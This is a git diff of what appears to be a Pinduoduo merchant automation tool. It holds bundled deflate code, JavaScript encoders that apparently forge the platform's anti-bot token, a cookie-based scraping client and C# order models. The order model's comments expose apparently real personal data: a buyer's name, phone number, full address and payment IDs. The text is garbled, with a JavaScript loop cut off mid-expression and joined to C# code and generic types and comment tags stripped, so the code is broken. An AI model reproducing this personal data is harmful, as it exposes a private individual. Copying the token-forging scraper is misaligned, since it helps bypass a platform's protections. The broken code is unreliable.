except + * the lengths of the bit lengths codes and the 5+5+4 bits for the counts. + */ + + /* Determine the number of bit length codes to send. The pkzip format + * requires that at least 4 bit length codes be sent. (appnote.txt says + * 3 but the actual value used is 4.) + */ + for (max_blindex = BL_CODES - 1; max_blindex >= 3; max_blindex--) { + if (s.bl_tree[bl_order[max_blindex] * 2 + 1]/*.Len*/ !== 0) { + break; + } + } + /* Update opt_len to include the bit length tree and counts */ + s.opt_len += 3 * (max_blindex + 1) + 5 + 5 + 4; + //Tracev((stderr, ""\ndyn trees: dyn %ld, stat %ld"", + // s->opt_len, s->static_len)); + + return max_blindex; +} + + +/* =========================================================================== + * Send the header for a block using dynamic Huffman trees: the counts, the + * lengths of the bit length codes, the literal tree and the distance tree. + * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4. + */ +function send_all_trees(s, lcodes, dcodes, blcodes) +// deflate_state *s; +// int lcodes, dcodes, blcodes; /* number of codes for each tree */ +{ + var rank; /* index in bl_order */ + + //Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, ""not enough codes""); + //Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES, + // ""too many codes""); + //Tracev((stderr, ""\nbl counts: "")); + send_bits(s, lcodes - 257, 5); /* not +255 as stated in appnote.txt */ + send_bits(s, dcodes - 1, 5); + send_bits(s, blcodes - 4, 4); /* not -3 as stated in appnote.txt */ + for (rank = 0; rank < blcodes; rank++) { + //Tracev((stderr, ""\nbl code %2d "", bl_order[rank])); + send_bits(s, s.bl_tree[bl_order[rank] * 2 + 1]/*.Len*/, 3); + } + //Tracev((stderr, ""\nbl tree: sent %ld"", s->bits_sent)); + + send_tree(s, s.dyn_ltree, lcodes - 1); /* literal tree */ + //Tracev((stderr, ""\nlit tree: sent %ld"", s->bits_sent)); + + send_tree(s, s.dyn_dtree, dcodes - 1); /* distance tree */ + //Tracev((stderr, ""\ndist tree: sent %ld"", s->bits_sent)); +} + + +/* =========================================================================== + * Check if the data type is TEXT or BINARY, using the following algorithm: + * - TEXT if the two conditions below are satisfied: + * a) There are no non-portable control characters belonging to the + * ""black list"" (0..6, 14..25, 28..31). + * b) There is at least one printable character belonging to the + * ""white list"" (9 {TAB}, 10 {LF}, 13 {CR}, 32..255). + * - BINARY otherwise. + * - The following partially-portable control characters form a + * ""gray list"" that is ignored in this detection algorithm: + * (7 {BEL}, 8 {BS}, 11 {VT}, 12 {FF}, 26 {SUB}, 27 {ESC}). + * IN assertion: the fields Freq of dyn_ltree are set. + */ +function detect_data_type(s) { + /* black_mask is the bit mask of black-listed bytes + * set bits 0..6, 14..25, and 28..31 + * 0xf3ffc07f = binary 11110011111111111100000001111111 + */ + var black_mask = 0xf3ffc07f; + var n; + + /* Check for non-textual (""black-listed"") bytes. */ + for (n = 0; n <= 31; n++, black_mask >>>= 1) { + if ((black_mask & 1) && (s.dyn_ltree[n * 2]/*.Freq*/ !== 0)) { + return Z_BINARY; + } + } + + /* Check for textual (""white-listed"") bytes. */ + if (s.dyn_ltree[9 * 2]/*.Freq*/ !== 0 || s.dyn_ltree[10 * 2]/*.Freq*/ !== 0 || + s.dyn_ltree[13 * 2]/*.Freq*/ !== 0) { + return Z_TEXT; + } + for (n = 32; n < LITERALS; n++) { + if (s.dyn_ltree[n * 2]/*.Freq*/ !== 0) { + return Z_TEXT; + } + } + + /* There are no ""black-listed"" or ""white-listed"" bytes: + * this stream either is empty or has tolerated (""gray-listed"") bytes only. + */ + return Z_BINARY; +} + + +var static_init_done = false; + +/* =========================================================================== + * Initialize the tree data structures for a new zlib stream. + */ +function _tr_init(s) +{ + + if (!static_init_done) { + tr_static_init(); + static_init_done = true; + } + + s.l_desc = new TreeDesc(s.dyn_ltree, static_l_desc); + s.d_desc = new TreeDesc(s.dyn_dtree, static_d_desc); + s.bl_desc = new TreeDesc(s.bl_tree, static_bl_desc); + + s.bi_buf = 0; + s.bi_valid = 0; + + /* Initialize the first block of the first file: */ + init_block(s); +} + + +/* =========================================================================== + * Send a stored block + */ +function _tr_stored_block(s, buf, stored_len, last) +//DeflateState *s; +//charf *buf; /* input block */ +//ulg stored_len; /* length of input block */ +//int last; /* one if this is the last block for a file */ +{ + send_bits(s, (STORED_BLOCK << 1) + (last ? 1 : 0), 3); /* send block type */ + copy_block(s, buf, stored_len, true); /* with header */ +} + + +/* =========================================================================== + * Send one empty static block to give enough lookahead for inflate. + * This takes 10 bits, of which 7 may remain in the bit buffer. + */ +function _tr_align(s) { + send_bits(s, STATIC_TREES << 1, 3); + send_code(s, END_BLOCK, static_ltree); + bi_flush(s); +} + + +/* =========================================================================== + * Determine the best encoding for the current block: dynamic trees, static + * trees or store, and output the encoded block to the zip file. + */ +function _tr_flush_block(s, buf, stored_len, last) +//DeflateState *s; +//charf *buf; /* input block, or NULL if too old */ +//ulg stored_len; /* length of input block */ +//int last; /* one if this is the last block for a file */ +{ + var opt_lenb, static_lenb; /* opt_len and static_len in bytes */ + var max_blindex = 0; /* index of last bit length code of non zero freq */ + + /* Build the Huffman trees unless a stored block is forced */ + if (s.level > 0) { + + /* Check if the file is binary or text */ + if (s.strm.data_type === Z_UNKNOWN) { + s.strm.data_type = detect_data_type(s); + } + + /* Construct the literal and distance trees */ + build_tree(s, s.l_desc); + // Tracev((stderr, ""\nlit data: dyn %ld, stat %ld"", s->opt_len, + // s->static_len)); + + build_tree(s, s.d_desc); + // Tracev((stderr, ""\ndist data: dyn %ld, stat %ld"", s->opt_len, + // s->static_len)); + /* At this point, opt_len and static_len are the total bit lengths of + * the compressed block data, excluding the tree representations. + */ + + /* Build the bit length tree for the above two trees, and get the index + * in bl_order of the last bit length code to send. + */ + max_blindex = build_bl_tree(s); + + /* Determine the best encoding. Compute the block lengths in bytes. */ + opt_lenb = (s.opt_len + 3 + 7) >>> 3; + static_lenb = (s.static_len + 3 + 7) >>> 3; + + // Tracev((stderr, ""\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u "", + // opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len, + // s->last_lit)); + + if (static_lenb <= opt_lenb) { opt_lenb = static_lenb; } + + } else { + // Assert(buf != (char*)0, ""lost buf""); + opt_lenb = static_lenb = stored_len + 5; /* force a stored block */ + } + + if ((stored_len + 4 <= opt_lenb) && (buf !== -1)) { + /* 4: two words for the lengths */ + + /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE. + * Otherwise we can't have processed more than WSIZE input bytes since + * the last block flush, because compression would have been + * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to + * transform a block into a stored block. + */ + _tr_stored_block(s, buf, stored_len, last); + + } else if (s.strategy === Z_FIXED || static_lenb === opt_lenb) { + + send_bits(s, (STATIC_TREES << 1) + (last ? 1 : 0), 3); + compress_block(s, static_ltree, static_dtree); + + } else { + send_bits(s, (DYN_TREES << 1) + (last ? 1 : 0), 3); + send_all_trees(s, s.l_desc.max_code + 1, s.d_desc.max_code + 1, max_blindex + 1); + compress_block(s, s.dyn_ltree, s.dyn_dtree); + } + // Assert (s->compressed_len == s->bits_sent, ""bad compressed size""); + /* The above check is made mod 2^32, for files larger than 512 MB + * and uLong implemented on 32 bits. + */ + init_block(s); + + if (last) { + bi_windup(s); + } + // Tracev((stderr,""\ncomprlen %lu(%lu) "", s->compressed_len>>3, + // s->compressed_len-7*last)); +} + +/* =========================================================================== + * Save the match info and tally the frequency counts. Return true if + * the current block must be flushed. + */ +function _tr_tally(s, dist, lc) +// deflate_state *s; +// unsigned dist; /* distance of matched string */ +// unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */ +{ + //var out_length, in_length, dcode; + + s.pending_buf[s.d_buf + s.last_lit * 2] = (dist >>> 8) & 0xff; + s.pending_buf[s.d_buf + s.last_lit * 2 + 1] = dist & 0xff; + + s.pending_buf[s.l_buf + s.last_lit] = lc & 0xff; + s.last_lit++; + + if (dist === 0) { + s.dyn_ltree[lc * 2]/*.Freq*/++; + } else { + s.matches++; + dist--; + s.dyn_ltree[(_length_code[lc] + LITERALS + 1) * 2]/*.Freq*/++; + s.dyn_dtree[d_code(dist) * 2]/*.Freq*/++; + } + return (s.last_lit === s.lit_bufsize - 1); +} + +exports._tr_init = _tr_init; +exports._tr_stored_block = _tr_stored_block; +exports._tr_flush_block = _tr_flush_block; +exports._tr_tally = _tr_tally; +exports._tr_align = _tr_align; + +},{""../utils/common"":1}],8:[function(require,module,exports){ +'use strict'; +function ZStream() { + this.input = null; + this.next_in = 0; + this.avail_in = 0; + this.total_in = 0; + this.output = null; + this.next_out = 0; + this.avail_out = 0; + this.total_out = 0; + this.msg = ''; + this.state = null; + this.data_type = 2; + this.adler = 0; +} +module.exports = ZStream; + +},{}],""/lib/deflate.js"":[function(require,module,exports){ +'use strict'; +var zlib_deflate = require('./zlib/deflate'); +var utils = require('./utils/common'); +var strings = require('./utils/strings'); +var msg = require('./zlib/messages'); +var ZStream = require('./zlib/zstream'); + +var toString = Object.prototype.toString; +var Z_NO_FLUSH = 0; +var Z_FINISH = 4; +var Z_OK = 0; +var Z_STREAM_END = 1; +var Z_SYNC_FLUSH = 2; +var Z_DEFAULT_COMPRESSION = -1; +var Z_DEFAULT_STRATEGY = 0; +var Z_DEFLATED = 8; +function Deflate(options) { + if (!(this instanceof Deflate)) return new Deflate(options); + + this.options = utils.assign({ + level: Z_DEFAULT_COMPRESSION, + method: Z_DEFLATED, + chunkSize: 16384, + windowBits: 15, + memLevel: 8, + strategy: Z_DEFAULT_STRATEGY, + to: '' + }, options || {}); + + var opt = this.options; + + if (opt.raw && (opt.windowBits > 0)) { + opt.windowBits = -opt.windowBits; + } + + else if (opt.gzip && (opt.windowBits > 0) && (opt.windowBits < 16)) { + opt.windowBits += 16; + } + + this.err = 0; // error code, if happens (0 = Z_OK) + this.msg = ''; // error message + this.ended = false; // used to avoid multiple onEnd() calls + this.chunks = []; // chunks of compressed data + + this.strm = new ZStream(); + this.strm.avail_out = 0; + + var status = zlib_deflate.deflateInit2( + this.strm, + opt.level, + opt.method, + opt.windowBits, + opt.memLevel, + opt.strategy + ); + + if (status !== Z_OK) { + throw new Error(msg[status]); + } + + if (opt.header) { + zlib_deflate.deflateSetHeader(this.strm, opt.header); + } + if (opt.dictionary) { + var dict; + if (typeof opt.dictionary === 'string') { + dict = strings.string2buf(opt.dictionary); + } else if (toString.call(opt.dictionary) === '[object ArrayBuffer]') { + dict = new Uint8Array(opt.dictionary); + } else { + dict = opt.dictionary; + } + + status = zlib_deflate.deflateSetDictionary(this.strm, dict); + + if (status !== Z_OK) { + throw new Error(msg[status]); + } + + this._dict_set = true; + } +} +Deflate.prototype.push = function (data, mode) { + var strm = this.strm; + var chunkSize = this.options.chunkSize; + var status, _mode; + if (this.ended) { return false; } + _mode = (mode === ~~mode) ? mode : ((mode === true) ? Z_FINISH : Z_NO_FLUSH); + if (typeof data === 'string') { + strm.input = strings.string2buf(data); + } else if (toString.call(data) === '[object ArrayBuffer]') { + strm.input = new Uint8Array(data); + } else { + strm.input = data; + } + + strm.next_in = 0; + strm.avail_in = strm.input.length; + + do { + if (strm.avail_out === 0) { + strm.output = new utils.Buf8(chunkSize); + strm.next_out = 0; + strm.avail_out = chunkSize; + } + status = zlib_deflate.deflate(strm, _mode); /* no bad return value */ + + if (status !== Z_STREAM_END && status !== Z_OK) { + this.onEnd(status); + this.ended = true; + return false; + } + if (strm.avail_out === 0 || (strm.avail_in === 0 && (_mode === Z_FINISH || _mode === Z_SYNC_FLUSH))) { + if (this.options.to === 'string') { + this.onData(strings.buf2binstring(utils.shrinkBuf(strm.output, strm.next_out))); + } else { + this.onData(utils.shrinkBuf(strm.output, strm.next_out)); + } + } + } while ((strm.avail_in > 0 || strm.avail_out === 0) && status !== Z_STREAM_END); + if (_mode === Z_FINISH) { + status = zlib_deflate.deflateEnd(this.strm); + this.onEnd(status); + this.ended = true; + return status === Z_OK; + } + if (_mode === Z_SYNC_FLUSH) { + this.onEnd(Z_OK); + strm.avail_out = 0; + return true; + } + + return true; +}; + +Deflate.prototype.onData = function (chunk) { + this.chunks.push(chunk); +}; + +Deflate.prototype.onEnd = function (status) { + // On success - join + if (status === Z_OK) { + if (this.options.to === 'string') { + this.result = this.chunks.join(''); + } else { + this.result = utils.flattenChunks(this.chunks); + } + } + this.chunks = []; + this.err = status; + this.msg = this.strm.msg; +}; + +function deflate(input, options) { + var input = input; + var deflator = new Deflate(options); + + deflator.push(input, true); + if (deflator.err) { throw deflator.msg || msg[deflator.err]; } + return deflator.result; +} + + +function deflateRaw(input, options) { + options = options || {}; + options.raw = true; + return deflate(input, options); +} + +function gzip(input, options) { + options = options || {}; + options.gzip = true; +var result = deflate(input, options); + return result ; +} +exports.Deflate = Deflate; +exports.deflate = deflate; +exports.deflateRaw = deflateRaw; +exports.gzip = gzip; + +},{""./utils/common"":1,""./utils/strings"":2,""./zlib/deflate"":5,""./zlib/messages"":6,""./zlib/zstream"":8}]},{},[])(""/lib/deflate.js"") +}); + +charCode = function (e) { + for (var t = [], n = 0, i = 0; i < e.length; i += 1) { + var r = e.charCodeAt(i); + 0 <= r && r <= 127 ? (t.push(r), n += 1) : (2048 <= r && r <= 55295 || 57344 <= r && r <= 65535) && (n += 3, t.push(224 | 15 & r >> 12), t.push(128 | 63 & r >> 6), t.push(128 | 63 & r)); + } + for (var o = 0; o < t.length; o += 1) + t[o] &= 255; + return n <= 255 ? [0, n].concat(t) : [n >> 8, 255 & n].concat(t); + } +encodeStr = function (e){ +e || (e = """"); +var t = e.substring(0, 255), n = [], i = charCode(t).slice(2); + return n.push(i.length), n = n.concat(i); +} +encodeNum = function (e){ + var t = parseInt(e), n = []; + t > 0 ? n.push(0) : n.push(1); + for (var i = Math.abs(t).toString(2).split(""""), r = 0; i.length % 8 != 0; r += 1) + i.unshift(0); + i = i.join(""""); + for (var o = Math.ceil(i.length / 8), a = 0; a < o; a += 1) { + var s = i.substring(8 * a, 8 * (a + 1)); + n.push(parseInt(s, 2)); + } + var u = n.length; + return n.unshift(u), n; +} +encodeContentLength = function (e){ + for (var t = [], n = e.toString(2).split(""""), i = 0; n.length < 16; i += 1) + n.unshift(0); + return n = n.join(""""), t.push(parseInt(n.substring(0, 8), 2), parseInt(n.substring(8, 16), 2)), t; + } +getBaes64 = function (e) { +var p = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"".split(""""); +var iia = ""0aj""; + for (var t, n, i, r = """", o = e.length, a = 0, s = 3 * parseInt(o / 3); a < s;) + t = e[a++], n = e[a++], i = e[a++], r += p[t >>> 2] + p[63 & (t << 4 | n >>> 4)] + p[63 & (n << 2 | i >>> 6)] + p[63 & i]; + var u = o - s; + return 1 === u ? (t = e[a], r += p[t >>> 2] + p[t << 4 & 63] + ""=="") : 2 === u && (t = e[a++], n = e[a], r += p[t >>> 2] + p[63 & (t << 4 | n >>> 4)] + p[n << 2 & 63] + ""=""), iia+r; +} +getBrowserInfo = function (n, a) { +} +function MathRand(n) { + var Num=""""; + for(var i=0;i + /// Support_nationwide_warranty + /// + public string support_nationwide_warranty { get; set; } + /// + /// 中国 + /// + public string country { get; set; } + /// + /// Group_status + /// + public string group_status { get; set; } + /// + /// Free_sf + /// + public string free_sf { get; set; } + /// + /// Discount_amount + /// + public string discount_amount { get; set; } + /// + /// Platform_discount + /// + public string platform_discount { get; set; } + /// + /// Return_freight_payer + /// + public string return_freight_payer { get; set; } + /// + /// + /// + public string id_card_num { get; set; } + /// + /// Order_status + /// + public string order_status { get; set; } + /// + /// 海南省 + /// + public string province { get; set; } + /// + /// Town_id + /// + public int? town_id { get; set; } + /// + /// 4200000196201811268279446751 + /// + public string pay_no { get; set; } + /// + /// Item_list + /// + public List item_list { get; set; } + /// + /// 2018-11-29 06:36:07 + /// + public string last_ship_time { get; set; } + /// + /// 2018-11-26 06:37:04 + /// + public string created_time { get; set; } + /// + /// Card_info_list + /// + public List card_info_list { get; set; } + /// + /// Refund_status + /// + public string refund_status { get; set; } + /// + /// 长丰镇 + /// + public string town { get; set; } + /// + /// Is_stock_out + /// + public string is_stock_out { get; set; } + /// + /// Delivery_install_value + /// + public string delivery_install_value { get; set; } + /// + /// + /// + public string receive_time { get; set; } + /// + /// 2018-11-26 06:37:06 + /// + public string pay_time { get; set; } + /// + /// Capital_free_discount + /// + public string capital_free_discount { get; set; } + /// + /// Step_order_info + /// + public string step_order_info { get; set; } + /// + /// Country_id + /// + public string country_id { get; set; } + /// + /// City_id + /// + public string city_id { get; set; } + /// + /// Invoice_status + /// + public string invoice_status { get; set; } + /// + /// Home_install_value + /// + public string home_install_value { get; set; } + /// + /// Order_depot_info + /// + public string order_depot_info { get; set; } + /// + /// 万宁市 + /// + public string city { get; set; } + /// + /// Is_lucky_flag + /// + public string is_lucky_flag { get; set; } + /// + /// + /// + public string remark { get; set; } + /// + /// + /// + public string pre_sale_time { get; set; } + /// + /// XP0018112606200524852582007694 + /// + public string inner_transaction_id { get; set; } + /// + /// Logistics_id + /// + public string logistics_id { get; set; } + /// + /// Only_support_replace + /// + public string only_support_replace { get; set; } + /// + /// Delivery_home_value + /// + public string delivery_home_value { get; set; } + /// + /// 2018-11-27 06:36:07 + /// + public string updated_at { get; set; } + /// + /// 王卡妹 + /// + public string receiver_name { get; set; } + /// + /// + /// + public string tracking_number { get; set; } + /// + /// WEIXIN + /// + public string pay_type { get; set; } + /// + /// + /// + public string buyer_memo { get; set; } + /// + /// Is_pre_sale + /// + public string is_pre_sale { get; set; } + /// + /// + /// + public string shipping_time { get; set; } + /// + /// Home_delivery_type + /// + public int home_delivery_type { get; set; } + /// + /// After_sales_status + /// + public string after_sales_status { get; set; } + /// + /// 海南省万宁市长丰镇马坡村委会沸水村 + /// + public string address { get; set; } + /// + /// + /// + public string id_card_name { get; set; } + /// + /// Goods_amount + /// + public decimal? goods_amount { get; set; } + /// + /// Pay_amount + /// + public string pay_amount { get; set; } + /// + /// Seller_discount + /// + public string seller_discount { get; set; } + /// + /// 2018-11-27 06:36:07 + /// + public string confirm_time { get; set; } + /// + /// Confirm_status + /// + public string confirm_status { get; set; } + /// + /// Stock_out_handle_status + /// + public string stock_out_handle_status { get; set; } + /// + /// Postage + /// + public string postage { get; set; } + /// + /// Province_id + /// + public string province_id { get; set; } + /// + /// Cat_id_3 + /// + public string cat_id_3 { get; set; } + /// + /// Cat_id_4 + /// + public string cat_id_4 { get; set; } + /// + /// Cat_id_1 + /// + public string cat_id_1 { get; set; } + /// + /// Cat_id_2 + /// + public string cat_id_2 { get; set; } + /// + /// Trade_type + /// + public string trade_type { get; set; } + /// + /// 13876281146 + /// + public string receiver_phone { get; set; } + /// + /// 181126-081127015610694 + /// + public string order_sn { get; set; } + } + public class Item_list + { + /// + /// 私魅夏季新款浅口小白鞋女百搭基础韩版休闲板鞋透气平底镂空白鞋 + /// + public string goods_name { get; set; } + /// + /// TJHMjI0SFM7Y3QgID9SZi8nNA==?439 + /// + public string outer_goods_id { get; set; } + /// + /// Goods_price + /// + public decimal? goods_price { get; set; } + /// + /// 3699197556 + /// + public long goods_id { get; set; } + /// + /// 86794904408 + /// + public long sku_id { get; set; } + /// + /// Goods_count + /// + public int? goods_count { get; set; } + /// + /// 黑色,36 + /// + public string goods_spec { get; set; } + /// + /// _6buR6ImyXzM2 + /// + public string outer_id { get; set; } + /// + /// http://t02img.yangkeduo.com/images/2018-05-24/ed54aa388fb05a3f4cbdc64e41afc75d.jpeg + /// + public string goods_img { get; set; } + } + +} diff --git a/Work/Model/ExpressBase.cs b/Work/Model/ExpressBase.cs new file mode 100644 index 0000000..e1879c8 --- /dev/null +++ b/Work/Model/ExpressBase.cs @@ -0,0 +1,35 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.Model +{ + public class ExpressBase + { + + public string id = ""; + public string name = ""; + public string code = ""; + //public string company_id = ""; + //public string express_no = ""; + //public string express_name = ""; + //public string express_id = ""; + //public string name = ""; + //public string mobile = ""; + //public string address = ""; + //public string sendname = ""; + //public string sendmobile = ""; + //public string sendaddress = ""; + //public int use_times = 0; + //public int buy_type = 1; + //public int id = 0; + //public int status = 0; + //public string order_id = ""; + //public string sendtime = ""; + //public string province = ""; + //public string city = ""; + //public string area = ""; + } +} diff --git a/Work/MulitServicerSet.cs b/Work/MulitServicerSet.cs new file mode 100644 index 0000000..07ba157 --- /dev/null +++ b/Work/MulitServicerSet.cs @@ -0,0 +1,279 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using AllBase; +using CefSharp.WinForms; +using Work.Pinduoduo; + +namespace Work +{ + public class MulitServicerSet + { + public static Dictionary Shops = new Dictionary(); + public static List ShopsTemp = new List(); + public static List ChatShopsTemp = new List(); + //public static Dictionary Chats = new Dictionary(); + public string Name; + public static int ThisCount = 0, MaxCount = 0, WaitTime = 5; + public MulitServicerSet(string name) + { + Name = name; + } + + + + private string GetUid() + { + string url = "http://mms.pinduoduo.com/Pdd.html"; + string cookies = ""; + string html = GetWeb(url, url, ref cookies, ""); + return cookies; + } + + public string GetWeb(string url, string refere, ref string cookies, string data) + { + try + { + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + //wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = null; + string rehead = wb.Headers.ToString(); + var encode = Encoding.UTF8; + byte[] b, postData = data == null ? new byte[0] : encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=UTF-8"); + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + string setCookies = wb.ResponseHeaders["Set-Cookie"]; + cookies = SetCookies(cookies, setCookies); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + /// + /// 生成新的cookies + /// + /// + /// + /// + public string SetCookies(string cookies, string setCookies) + { + if (string.IsNullOrEmpty(setCookies)) + return cookies; + Dictionary cook = new Dictionary(); + string[] l = cookies.Split(';'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("=")) + continue; + string key = l[i].Substring(0, l[i].IndexOf("=")); + string value = l[i].Substring(key.Length + 1).Trim(); + if (string.IsNullOrEmpty(key) || string.IsNullOrEmpty(value)) + continue; + if (cook.ContainsKey(key)) + cook[key] = value; + else + cook.Add(key, value); + } + l = setCookies.Split(';'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("=")) + continue; + string key = l[i].Substring(0, l[i].IndexOf("=")).Trim(); + if (key == "expires" || key == "domain" || key == "path" || key == "Max-Age") + continue; + string value = l[i].Substring(key.Length + 1); + if (string.IsNullOrEmpty(key) || string.IsNullOrEmpty(value)) + continue; + if (cook.ContainsKey(key)) + cook[key] = value; + else + { + cook.Add(key, value); + } + } + StringBuilder s = new StringBuilder(); + foreach (KeyValuePair key in cook) + { + s.Append(key.Key + "=" + key.Value + "; "); + } + return s.ToString(); + } + + public static string tokenMessage = ""; + //public static bool LoginChat(ShopChatBase shop, out string message) + //{ + // //WebSocketClient websocket = new WebSocketClient(shop); + // //if (websocket.client == null) + // //{ + // // message = "新版客服登录失败"; + // // shop.Message = "新版客服登录失败"; + // // if (!string.IsNullOrEmpty(tokenMessage)) + // // { + // // string url = "https://mms.pinduoduo.com/chats/malls/" + shop.MallId + "/enableChat"; + // // string refere = "hhttps://mms.pinduoduo.com/chat-merchant/index.html"; + // // string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, shop.Cookies); + // // if (html.Contains("{\"success\":true")) + // // { + // // websocket = new WebSocketClient(shop); + // // } + // // else + // // { + // // message = tokenMessage; + // // } + // // } + // // return false; + // //} + // //if (!Chats.ContainsKey(shop.MallId)) + // //{ + // // Chats.Add(shop.MallId, websocket); + // //} + // //else + // //{ + // // if (Chats[shop.MallId].client == null) + // // { + // // Chats[shop.MallId] = websocket; + // // message = "新版客服登录失败"; + // // shop.Message = "新版客服登录失败"; + // // return false; + // // } + + // // if (Chats[shop.MallId].client.ReadyState != WebSocketState.Open || Chats[shop.MallId].client.ReadyState != WebSocketState.Closing) + // // { + // // Chats[shop.MallId].client.Connect(); + // // } + // // Chats[shop.MallId].client.Connect(); + // //} + + // //message = "新版客服登录成功"; + // //shop.Message = "新版客服登录成功"; + // //if (shop.client != null && shop.client.ReadyState != WebSocketState.Open) + // //{ + // // return true; + // //} + // //else + // //{ + // // return false; + // //} + + //} + + } + + + //public class ShopChatBase + //{ + // public string ExpireTime = ""; + // public string ShopId = ""; + // public string ShopName = ""; + // public string Sub_Account_Name = "";//子账号 + // public string Name = ""; + // public string UserName = ""; + // public string UserInfo = ""; + // public string PassId = ""; + // public int ChatCount = 0; + // public string Cookies = ""; + // public string CookiesUid = ""; + // public string CookiesPid = ""; + // public string Password = ""; + // public string Message = "";//授权状态 + // public string onlineStatus = "";//在线状态 + // public bool Showed = false; + // public bool CanUpload = true; + // public bool Login = false; + // public int X = 0; + // public int Y = 0; + // public int MallId = 0; + // public int MainCatId = 0; + // public int ReceiverId = 0; + // public string MainCatName = ""; + // public string UserCatName = ""; + // public string ServiceUserName = ""; + // public string BuyUserName = ""; + // public string UploadUserName = ""; + // public int UpCount = 0; + // public long ExpressId = 0; + // public int WaitTimes = 0; + // public string AccessToken = ""; + // public string RefreshToken = ""; + // public string ClientId = ""; + // public string AccessTokenOrder = ""; + // public string RefreshTokenOrder = ""; + // public DateTime Expiration = DateTime.Now.AddDays(-1); + // public DateTime EndDate = DateTime.Now.AddDays(-1); + // public int allWait = 0;//待拼团 + // public int allBuying = 0;//待拍单 + // [Newtonsoft.Json.JsonIgnore] + // public WebSocket client = null; + // [Newtonsoft.Json.JsonIgnore] + // public ChromiumWebBrowser Chat = null;//店铺聊天用 + // [Newtonsoft.Json.JsonIgnore] + // public ChromiumWebBrowser MainIndex = null;//店铺后台用 + // public bool CusIsLogin = false;//店铺是否已经登录--客服集成 + // public string ownId = ""; + // public string verify_auth_token = ""; + + // public ShopChatBase Clone() + // { + // string html = JsonHelper.SerializeObject(this); + // ShopChatBase tp = JsonHelper.DeserializeJsonToObject(html); + // return tp; + // } +} diff --git a/Work/PayGroupOrder.cs b/Work/PayGroupOrder.cs new file mode 100644 index 0000000..0f00516 --- /dev/null +++ b/Work/PayGroupOrder.cs @@ -0,0 +1,191 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work +{ + public class PayGroupOrder + { + #region 获取买家在本店购买商品的sku图 + public static string SignWordBase = ".`~^*_| -#$%&?+"; + public static string GetSkuImg(string proId, string sku, string detailHtml = "") + { + string SkuImg = ""; + string htmlx = ""; + if (string.IsNullOrEmpty(htmlx)) + { + //return ""; + string urlx = BaseClass.PddMobileUrlx + "goods.html?goods_id=" + proId; + htmlx = GetPostTaobaoHtml.UploadTaobao(urlx, urlx, true); + } + + string strx = "\"skus\":\\[\\{\"skuID\":[\\s\\S]+?,\"hdThumbUrl\""; + var Skux = BaseRegex.GetMatchRegex(ref htmlx, strx); + string skustr = ""; + if (Skux.Count > 0) + { + skustr = Skux[0].Value; + } + var m = BaseRegex.GetMatchRegex(ref skustr, "\"skuID\"([\\s\\S]+?),\"unselectGroupPrice\":"); + if (m.Count == 0) + { + m = BaseRegex.GetMatchRegex(ref skustr, "\"skuID\":([\\s\\S]+?),\"staticLimitQuantity\":"); + } + for (int k = 0; k < m.Count; k++) + { + var item = m[k].Value.ToString(); + string spec_value = BaseRegex.GetStringJson(ref item, "spec_value"); + if (!string.IsNullOrEmpty(spec_value) && !string.IsNullOrEmpty(sku)) + { + for (int i = 0; !string.IsNullOrEmpty(spec_value) && i < SignWordBase.Length; i++) + { + spec_value = spec_value.Replace(SignWordBase[i].ToString(), ""); + } + if (sku.Contains(spec_value)) + { + SkuImg = BaseRegex.GetStringJson(ref item, "thumbUrl"); + break; + } + } + else + { + SkuImg = BaseRegex.GetStringJson(ref item, "thumbUrl"); + } + } + return 